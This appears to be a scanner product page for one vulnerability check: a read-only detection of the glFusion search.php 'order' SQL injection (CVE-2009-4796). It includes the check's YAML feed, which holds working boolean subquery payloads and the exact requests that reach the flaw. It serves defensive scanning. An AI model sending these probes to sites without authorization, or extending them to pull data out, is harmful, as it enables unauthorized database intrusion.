glFusion — 1 vulnerability check
noctis ships 1 vulnerability check for glFusion, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
glFusion search.php 'order' parameter SQL injection
| CVE | CVE-2009-4796 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/glfusion/CVE-2009-4796.yaml |
Tests whether a glFusion site passes the 'order' parameter of its search page straight into the ORDER BY clause of the SQL query. glFusion 1.1.2 and earlier do this for the 'order' and 'direction' parameters of search.php, which lets an anonymous visitor run SQL subqueries against the site database. In the web root and in the /glfusion, /glFusion and /glfusion/public_html directories, the feed lists the published stories through search.php and sorts them by a subquery that compares two random numbers. When the numbers are equal the subquery returns two rows, which the database refuses, and glFusion answers with its SQL error message; when they differ the page is served normally as a glFusion page. The feed reports the site only when the equal pair fails, the unequal pair succeeds without the error and a second equal pair with new numbers fails again, which shows that the server evaluated the injected comparison. The probes only read data and change nothing. When no directory gives this proof (for example a site without any published story), the feed falls back to the version shown on a glFusion page and reports version 1.1.2 or earlier.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?query=&type=stories&mode=search&order={{rnd.t1}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?query=&type=stories&mode=search&order={{rnd.f1}} - HTTP(S) request
GET {{dir}}/search.php?query=&type=stories&mode=search&order={{rnd.t2}} - Parses / computes the next value with a Rhai script
- Checks
verdictfor^proof:→ finding QoD 97: glFusion search.php 'order' parameter SQL injection - HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- Checks
fallbackfor^version:→ finding QoD 70: glFusion 1.1.2 or earlier (search.php SQL injection)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-4796
- https://github.com/spacequad/glfusion/commit/a581a5fe0f86df016ed1e6a523a32d64691b4553
Feed source — tests/vulnerabilities/glfusion/CVE-2009-4796.yaml
# glFusion search.php 'order' / 'direction' SQL injection — CVE-2009-4796
#
# glFusion 1.1.2 and earlier build the ORDER BY clause of every search query
# from the 'order' and 'direction' request parameters without quoting them
# (private/system/classes/listfactory.class.php, ExecuteQueries()):
#
# $ord = COM_applyFilter($_REQUEST['order']);
# $order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($direction);
#
# COM_applyFilter() only cuts the value at the first ' " ` ; , or \ and drops
# "/*..." and HTML tags, so a quote-free, comma-free SQL expression reaches the
# query. glFusion 1.1.3 (release-1.1.3 branch, synced to trunk 2009-03-31)
# fixed it: 'direction' is reduced to asc/desc and an 'order' value that is
# not one of the result columns falls back to ORDER BY date DESC (trunk first
# quoted the clause in commit a581a5fe0, 2009-03-30).
# A failing query ends the request through die(): the reply body is only
# "An SQL error has occurred. Please see error.log for details." (or
# "<errno>: <mysql_error>" when the site displays SQL errors).
#
# The sorted query only runs when the search found rows; an empty query with
# type=stories lists every published story (buildSearchSQL turns it into
# LIKE '%%'), so a site with at least one story readable by guests is enough.
#
# Detection, per install directory ("", /glfusion, /glFusion,
# /glfusion/public_html):
# 1. Proof (QoD 97, read-only): GET search.php?query=&type=stories&mode=search
# with order=(SELECT 1 UNION SELECT 2 FROM DUAL WHERE A=A) — a scalar
# subquery that returns two rows, so MySQL aborts the sort with
# "Subquery returns more than 1 row" and glFusion prints its SQL error
# message. The same request with WHERE A=B (one row, valid) must return a
# normal page without the error, and a second TRUE request with fresh
# random numbers must fail again. The FALSE reply must be a glFusion page
# (its "Powered by glFusion" footer). Only a server that evaluates the
# injected comparison gives this pattern. Nothing is written.
# 2. Fallback (QoD 70): no directory gave the proof, and a glFusion page
# ('>glFusion') shows "glFusion v<x.y.z>" with version 1.1.2 or earlier
# (for example a site with no published story, where the sorted query
# never runs).
#
# Better than the source detection: the source check only compares the
# version string on index.php, which the default 1.1.x theme does not print
# (its footer reads "Powered by glFusion" without a version), so it misses
# default installs. This feed proves the injection itself, in-band, and keeps
# the version comparison as a fallback.
#
# Verified against the glFusion source history (github.com/spacequad/glfusion,
# trunk before and after a581a5fe0) and on MariaDB 10.11: the TRUE subquery
# gives ERROR 1242 once the sorted query has a row, the FALSE one sorts fine.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_glfusion_mult_sql_injecton_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.901111, GPL-2.0-only).
uid: e17d0ed5-465b-4704-8a9e-2883fb1ee348
name: "glFusion search.php 'order' parameter SQL injection (CVE-2009-4796)"
description: |
Tests whether a glFusion site passes the 'order' parameter of its search
page straight into the ORDER BY clause of the SQL query. glFusion 1.1.2 and
earlier do this for the 'order' and 'direction' parameters of search.php,
which lets an anonymous visitor run SQL subqueries against the site database.
In the web root and in the /glfusion, /glFusion and /glfusion/public_html
directories, the feed lists the published stories through search.php and
sorts them by a subquery that compares two random numbers. When the numbers
are equal the subquery returns two rows, which the database refuses, and
glFusion answers with its SQL error message; when they differ the page is
served normally as a glFusion page. The feed reports the site only when the equal pair fails,
the unequal pair succeeds without the error and a second equal pair with new
numbers fails again, which shows that the server evaluated the injected
comparison. The probes only read data and change nothing. When no directory
gives this proof (for example a site without any published story), the feed
falls back to the version shown on a glFusion page and reports version 1.1.2
or earlier.
cves: [CVE-2009-4796]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [glfusion, php, cms, sqli, order-by, search]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4796"
- "https://github.com/spacequad/glfusion/commit/a581a5fe0f86df016ed1e6a523a32d64691b4553"
# OpenVAS/Greenbone NASL 2010/gb_glfusion_mult_sql_injecton_vuln.nasl (GPL-2.0-only)
steps:
# Random numbers for the TRUE / FALSE / second TRUE subqueries, the URL-
# encoded 'order' values, and the version fallback collected over all passes.
- id: rnd
action: script
store_as: rnd
code: |
let a = rand_int(100000, 499999);
let b = a + rand_int(1, 99999);
let c = rand_int(500000, 999999);
let pre = "(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%20";
#{
t1: pre + a + "%3D" + a + ")",
f1: pre + a + "%3D" + b + ")",
t2: pre + c + "%3D" + c + ")",
a: a, b: b, c: c
}
- id: init-fallback
action: set_var
var_name: fallback
var_value: ""
# Pass 1, per directory: the boolean proof. Pre-initialise every stored
# result each pass: a failed request leaves it unset.
- id: init-t1
action: set_var
var_name: t1
var_value: {status: 0, body: ""}
loop:
over: ["", "/glfusion", "/glFusion", "/glfusion/public_html"]
var: dir
- id: init-f1
action: set_var
var_name: f1
var_value: {status: 0, body: ""}
- id: init-t2
action: set_var
var_name: t2
var_value: {status: 0, body: ""}
- id: init-home
action: set_var
var_name: home
var_value: {status: 0, body: ""}
- id: probe-true
action: http_request
method: GET
path: "{{dir}}/search.php?query=&type=stories&mode=search&order={{rnd.t1}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
store_as: t1
- id: sqlerr-true
action: script
store_as: e1
code: |
let b = if type_of(t1.body) == "string" { t1.body } else { "" };
ereg("An SQL error has occurred|Subquery returns more than 1 row", b, true)
- id: probe-false
action: http_request
condition: "e1 == true"
method: GET
path: "{{dir}}/search.php?query=&type=stories&mode=search&order={{rnd.f1}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
store_as: f1
- id: probe-true-again
action: http_request
condition: "e1 == true && f1.status == 200"
method: GET
path: "{{dir}}/search.php?query=&type=stories&mode=search&order={{rnd.t2}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
store_as: t2
- id: judge
action: script
store_as: verdict
code: |
let err = "An SQL error has occurred|Subquery returns more than 1 row";
let fb = if type_of(f1.body) == "string" { f1.body } else { "" };
let tb = if type_of(t2.body) == "string" { t2.body } else { "" };
// The FALSE reply is a full glFusion page ("Powered by glFusion" footer):
// keeps other ListFactory-based apps from being reported as glFusion.
let false_ok = f1.status == 200 && fb.contains("glFusion") && !ereg(err, fb, true);
let true_again = ereg(err, tb, true);
if e1 && false_ok && true_again {
let msg = if ereg("Subquery returns more than 1 row", t1.body, true) { "\"Subquery returns more than 1 row\"" } else { "\"An SQL error has occurred\"" };
"proof: " + dir + "/search.php sorted by (SELECT 1 UNION SELECT 2 FROM DUAL WHERE " + rnd.a + "=" + rnd.a + ") answered " + msg + " (HTTP " + t1.status + "), the same request with " + rnd.a + "=" + rnd.b + " answered HTTP 200 without an SQL error, and a second true pair (" + rnd.c + "=" + rnd.c + ") failed again"
} else {
""
}
- id: report-proof
action: match
source: verdict
pattern: "^proof: "
on_match:
finding:
title: "glFusion search.php 'order' parameter SQL injection"
confidence_delta: 0.65
qod: 97
evidence: "{{verdict}}"
remediation: "Upgrade glFusion to a current release (1.1.3 and later only sort by a known result column)."
stop: true
# Version candidate for the fallback, only from a directory without proof.
- id: get-home
action: http_request
condition: "fallback == \"\""
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: home
- id: collect-fallback
action: script
store_as: fallback
code: |
let b = if type_of(home.body) == "string" { home.body } else { "" };
if fallback != "" || home.status != 200 || !b.contains(">glFusion") { return fallback; }
let m = eregmatch("glFusion v([0-9]{1,3})\\.([0-9]{1,3})(\\.([0-9]{1,3}))?", b);
if m.len() < 3 { return fallback; }
let x = int(m[1]);
let y = int(m[2]);
let z = if m.len() >= 5 && m[4] != "" { int(m[4]) } else { 0 };
let old = x < 1 || (x == 1 && (y < 1 || (y == 1 && z <= 2)));
if old {
let v = if m.len() >= 5 && m[4] != "" { m[1] + "." + m[2] + "." + m[4] } else { m[1] + "." + m[2] };
"version: " + dir + "/index.php reports glFusion v" + v + " (1.1.2 or earlier); the search.php injection could not be confirmed in-band"
} else {
fallback
}
# Pass 2 (runs once, after every directory was tried for the proof).
- id: after-proof
action: set_var
var_name: fallback_done
var_value: true
loop:
over: ["once"]
var: phase
- id: report-version
action: match
source: fallback
pattern: "^version: "
on_match:
finding:
title: "glFusion 1.1.2 or earlier (search.php SQL injection)"
confidence_delta: 0.40
qod: 70
evidence: "{{fallback}}"
remediation: "Upgrade glFusion to a current release (1.1.3 and later only sort by a known result column)."
stop: true